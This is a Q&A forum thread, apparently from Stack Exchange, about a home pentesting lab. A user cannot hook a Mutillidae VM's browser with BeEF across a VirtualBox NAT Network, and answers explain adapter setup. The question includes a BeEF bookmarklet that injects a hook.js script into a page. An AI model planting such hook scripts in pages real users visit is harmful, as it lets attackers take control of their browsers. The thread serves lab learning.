I'm reading "Practical Web Penetration Testing". I'm using VirtualBox to run two VMs: Windows 7 with Mutillidae and KaliLinux where I want to use Beef. Both are connected to a Nat Network

As it's said in the book, I set up the KaliLinux to have a static IP by modifying /etc/network/interfaces:

source /etc/network/interfaces.d/*

# The loopback network interface
auto lo
iface lo inet loopback

#Static IP Address
auto eth0
iface eth0 inet static

My Windows VM has IP

I'm now trying to set up beef. When I open a tab on each of these VMs browsers to I do indeed get the browsers hooked as online browsers in the beef ui panel.

But I want to have a hook on Mutillidae. There's a button for that to copy as a bookmark to append the hook.js file for a given webpage: javascript: (function () { var url = '';if (typeof beef == 'undefined') { var bf = document.createElement('script'); bf.type = 'text/javascript'; bf.src = url; document.body.appendChild(bf);}})();

When I run on that on either VMs browsers - opened on -, it doesn't work. The hook.js file does get loaded, I can see it on firebug. But the browser never gets "hooked": I can't see it on the beef panel.

I even modified this portion of /etc/beef-xss/config.yaml:

# Reverse Proxy / NAT
        # If BeEF is running behind a reverse proxy or NAT
        #  set the public hostname and port here
        public: ""      # public hostname/IP address
        #public_port: "" # experimental

And did some research but nothing...

Some weird stuff (or is that normal?):

From Kali

ping    - OK
ping     - KO --> But I can access !
ping     - OK
ping  -b - KO --> shouldn't I get answers from myself and gateway at least?

From W7

ping    - OK --> So it works in that direction but not in the other? And I can access beef's panel, demo, or hook.js
ping     - OK
ping     - OK
ping     - KO --> Reply from Destination host unreachable. Is this why Kali can't access W7?

Why can't I set up a hook in Mutillidae on Win7 VM connected to the same Nat Network as Kali VM running beef?


If you need more details to help me out, don't hesitate. I'll edit my question to help you help me.

  • now i know it's not a solution, but my personal experience, is never to run kali or othen pentesting tools on a virtual machine ever again. Live boot(usb) is preferable imo. Because.. well things like this, i spent more time troubleshooting issues about hardware cross compatibility/drivers/monitor mode and so forth. the fact that you can ping but can't access /mutillidae/ sounds like a permission problem – I'm a TI calculator Sep 22 '19 at 12:17

I usually when doing hackingtesting between two virtual machines set up two adapters on each one. First on each one as "NAT". That interface will provide internet access through my host (but you must know that NAT network will be different network for each vm). The second one will be as "NAT Network" and that will be the network that the virtual machines will share.

To setup this secondary network interface you'll need to set up first the range of NatNetwork on your Virtualbox. Click on "File", "Preferences", "Network". Click on the "plus" symbol to create one. It will be set as "NatNetwork". Then click on the gear icon to configure it. You can check my screenshot (sorry, the screenshot is in spanish):


Then configuring it you can set up any network range. I put in this case in order to have a non-conflicting range.


After that, you must set up the secondary network interface on each virtual machine. Click on the vm, settings, network and enabled the secondary network interface selecting "Nat Network" and your created network.


If you do this on both machines, the machines will have a secondary network interface on network and they will see the other machine flawlessly on that network. They will get an ip by DHCP and you'll be able to perform any hacking test.

Of course there are more ways to do that stuff but this one is easy and working. Good luck.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.